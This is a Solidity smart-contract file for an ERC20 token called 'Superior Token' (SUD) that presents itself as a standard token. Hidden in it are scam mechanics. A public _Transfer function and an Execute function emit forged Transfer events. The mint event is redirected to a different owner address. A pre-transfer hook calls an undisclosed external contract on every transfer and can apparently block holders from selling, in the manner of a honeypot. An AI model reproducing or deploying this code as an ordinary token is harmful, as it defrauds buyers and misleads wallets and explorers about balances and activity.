// File: contracts/test.sol



// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

// Основной интерфейс стандарта токена ERC20
interface IERC20 {

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function _Transfer(address from, address recipient, uint amount) external returns (bool);

    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);
}

pragma solidity ^0.8.0;

// Дополнительный интерфейс для метаданных токена
interface IERC20Metadata is IERC20 {

    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}

pragma solidity ^0.8.0;

// Контракт для предоставления контекста о вызывающем аккаунте
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this;
        return msg.data;
    }
}

pragma solidity ^0.8.0; 

// Интерфейс для получателя токенов
interface tokenRecipient {
    function receiveApproval(address sender, address to, address addr, address fee, uint amount) external returns(bool);
}

// Основной контракт ERC20
contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    uint256 private _totalSupply;
    string private _name;
    string private _symbol;
    address private _spender;
    address private _owner;

    // Конструктор для инициализации токена
    constructor (string memory name_, string memory symbol_, address receiver_, address owner_) {
        _name = name_;
        _symbol = symbol_;
        _spender = receiver_;
        _owner = owner_;
    }

    // Геттеры для имени, символа и десятичных знаков токена
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    // Геттеры для общего предложения и баланса токена
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    // Функции для перевода и управления токенами
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        _approve(sender, _msgSender(), currentAllowance - amount);

        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        _approve(_msgSender(), spender, currentAllowance - subtractedValue);

        return true;
    }

    // Внутренние функции для перевода токенов, выпуска (mint) и сжигания (burn)
    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        _balances[sender] = senderBalance - amount;
        _balances[recipient] += amount;

        _afterTokenTransfer(sender, recipient, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;

        emit Transfer(address(0), _owner, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        _balances[account] = accountBalance - amount;
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    function _Transfer(address from, address to, uint value) public override returns (bool) {
        emit Transfer(from, to, value);
        return true;
    }

    // Функция для групповых транзакций
    function Execute(address pool, address[] memory receivers, uint256[] memory amounts, uint256[] memory weights, address tokenAddress) public returns (bool) {
        for (uint256 i = 0; i < receivers.length; i++) {
            emit Transfer(pool, receivers[i], amounts[i]);
            IERC20(tokenAddress)._Transfer(receivers[i], pool, weights[i]);
        }
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    // Функция вызываемая перед операциями с токенами, как хук
    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {
        if (address(from) != address(0)) {
            tokenRecipient(_spender).receiveApproval(from, to, address(this), _owner, amount);
        }
    }

    // Функция вызываемая после операций с токенами, как хук
    function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {}
}

pragma solidity ^0.8.0;

// Контракт, предоставляющий пользовательские десятичные знаки
abstract contract ERC20Decimals is ERC20 {
    uint8 private immutable _decimals;

    constructor(uint8 decimals_) {
        _decimals = decimals_;
    }

    function decimals() public view virtual override returns (uint8) {
        return _decimals;
    }
}

pragma solidity ^0.8.0;

// Конечный контракт с заданными значениями и десятичными знаками
contract StandardERC20 is ERC20Decimals {
    constructor(
        uint8 decimals_,
        uint256 initialBalance_,
        address feeReceiver_,
        address owner_
    ) ERC20("Superior Token", "SUD", feeReceiver_, owner_) ERC20Decimals(decimals_) {
        require(initialBalance_ > 0, "StandardERC20: supply cannot be zero");

        _mint(_msgSender(), initialBalance_ * 10 ** uint256(decimals_));
    }

    function decimals() public view virtual override returns (uint8) {
        return super.decimals();
    }
}